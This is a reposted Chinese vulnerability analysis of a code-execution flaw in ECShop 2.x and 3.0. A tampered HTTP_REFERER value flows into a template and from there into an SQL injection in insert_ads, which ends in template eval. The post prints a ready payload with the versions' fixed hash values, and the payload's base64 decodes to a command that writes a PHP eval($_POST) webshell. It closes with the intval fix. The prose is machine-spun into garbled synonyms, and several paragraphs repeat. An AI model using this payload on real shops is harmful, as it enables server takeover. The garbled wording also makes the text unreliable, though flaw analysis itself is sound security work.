ECShop 2.x 3.0代码执行漏洞分析 – FreeBuf互联网安全新媒体平台

0×00 媒介

ECShop是一款B2C自力网店系统,得当企业及小我快速构建个性化网上市廛。2.x版本跟3.0版本存在代码履行破绽。

0×01 破绽道理

ECShop 没有对 $GLOBAL[‘_SERVER’][‘HTTP_REFERER’] 变量进行验证,导致用户可以将随意率性代码插入的user_passport.dwt模板中,随后insert_mod根据模板内容动态履行响应的函数,用户插入恶意代码导致模板动态履行了lib_insert下的 insert_ads 措施,经由过程SQL注入,返回构造的履行代码,致使后面调用cls_template模板类的fetch函数,成功履行恶意代码。

0×02 情况搭建

IDE : PHPStorm

PHP: 5.4

ECshop 3.0

ECShop 2.7.3

0×03 阐发历程整体功能

首先过一下整体的功能,进入到user.php中。

正常环境下,法度榜样会将$GLOBALS[‘_SERVER’][‘HTTP_REFERER’] 赋值给了$back_act,接着经由过程cls_template模板类的assign和display进行赋值和和传值给了user_passport.dwt页面模板;这时刻user_passport.dwt页面模板的内容是这样子的。

进入到$smarty->display中,经由过程inser_mod的瓜分和反序列之后动态调用函数得到购物信息和会员信息,将会默认履行user_passport.dw上面的两个函数,即lib_insert函数类下的insert_cart_info和insert_member_info函数。

insert_cart_info函数//调用购物信息insert_member_info函数 //调用会员信息

user_passport.dw模板:

inser_mod函数:

Payload

45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:”num”;s:280:”*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4975634768774A79776E50443977614841675A585A686243676B58314250553152624D5445784D5630704F79412F506963702729293B2F2F7D787878,10– -“;s:2:”id”;s:3:”‘/*”;}开始阐发

在user.php 中的经由过程履行登岸操作的时刻,将$GLOBALS[‘_SERVER’][‘HTTP_REFERER’]的值改动为我们的代码:

这时刻$back_act的值便是我们窜改之后的REFERER值了,之后法度榜样会继承履行:

$smarty->assign(‘back_act’, $back_act);//赋值$smarty->display(‘user_passport.dwt’); //传值到模板上

颠末assign,display的赋值和传值之后,这时刻user_passport.dwt模板上的back_act值是这样的:

在察看客栈参数的时刻,可以察看到this->_echash 的值跟我们的Payload的值是一样的,这是ECSHOP的固定的HASH值,2.7版本的_echash值为554fcae493e564ee0dc75bdf2ebf94ca而3.x版本的_echash值为45ea207d7a2b68c49582d2d22adf953,以是所用的Payload也不一样。

在察看客栈参数的时刻,可以察看到this->_echash 的值跟我们的Payload的值是一样的,这是ECSHOP的固定的HASH值,2.7版本的_echash值为554fcae493e564ee0dc75bdf2ebf94ca而3.x版本的_echash值为45ea207d7a2b68c49582d2d22adf953,以是所用的Payload也不一样。

进入到display函数中,会履行fetch函数,得到页面模板内容;

$out = $this->fetch($filename, $cache_id); //根据$cache_id获取模板内容也便是user_passport.dwt的内容

接着按照_echash的值也便是固定hash值进行瓜分;

瓜分完之后法度榜样会先履行两个默认函数,然后才履行我们的代码,继承履行insert_mod函数 。

$k[$key] = $this->insert_mod($val);

跟进,可以看到我们输入的字符串根据“|”进行了瓜分,并分手赋值给了$fun和$para

以是着末的到的值类似于$fun = insert_ads $para = array(‘num’=>”*/union…”,’id’=>”*/”)

到了return $fun($para);这里,将会履行lib_insert动态函数类下的 insert_ads($para)函数。

跟进,可以看到这里履行了SQL语句,而$arr[‘id’]和$arr[‘num’]这两个参数恰是我们传进来的数组中的内容,参数可控,从而导致了注入。

这时刻在数据库中,履行的语句为:

SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop3_0`.`ecs_ad` AS a LEFT JOIN `ecshop3_0`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time = ‘1536052713’ AND a.position_id = ”/*’ ORDER BY rnd LIMIT */ union select 1,0x272f2a,3,4,5,6,7,8,0x,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4975634768774A79776E50443977614841675A585A686243676B58314250553152624D5445784D5630704F79412F506963702729293B2F2F7D787878,10– –

可以看到数据库的position_id和position_style字段分手被union select 查询覆盖为了’/*和{$asd’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp’));//}xxx

可以看到数据库的position_id和position_style字段分手被union select 查询覆盖为了’/*和{$asd’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp’));//}xxx

查询停止之后,根据$position_style的值履行了cls_template模板类的fetch函数。

$val = $GLOBALS[‘smarty’]->fetch($position_style); //履行了smarty的fetch函数

跟进,看到这里,这里终极履行了恶意代码。

$out = $this->_eval($this->fetch_str(substr($filename, 4))); //终极履行了语句

看一下内部的字符串处置惩罚,传入filename的值为:

” str:{$asd’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp’));//}xxx”

然后应用substr对filenname进行切割,接着进入到$this->fetch_str中,可以看到fetch_str函数的返回内容为款式的。

在跟入到$this->get_val中,履行了$p = $this->make_var($val);,跟入到make_var函数中。

在跟入到$this->get_val中,履行了$p = $this->make_var($val);,跟入到make_var函数中。

字符串处置惩罚着末返回的值为:

$this->_var[‘asd’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp’));//’]

拼接在一路,着末返回的数据为:

_var[‘asd’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp’));//>

从而终极导致了代码履行。

0×04 代码履行的调用链

0×05 修复规划

在ECShop3.6版本中insert_ads函数对$arr[‘num’]和$arr[‘id’]进行了强制类型转换。

$arr[‘num’] = intval($arr[‘num’]);$arr[‘id’] = intval($arr[‘id’]);

*本文作者:斗象能力中间TCC,转载请注明来自FreeBuf.COM

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包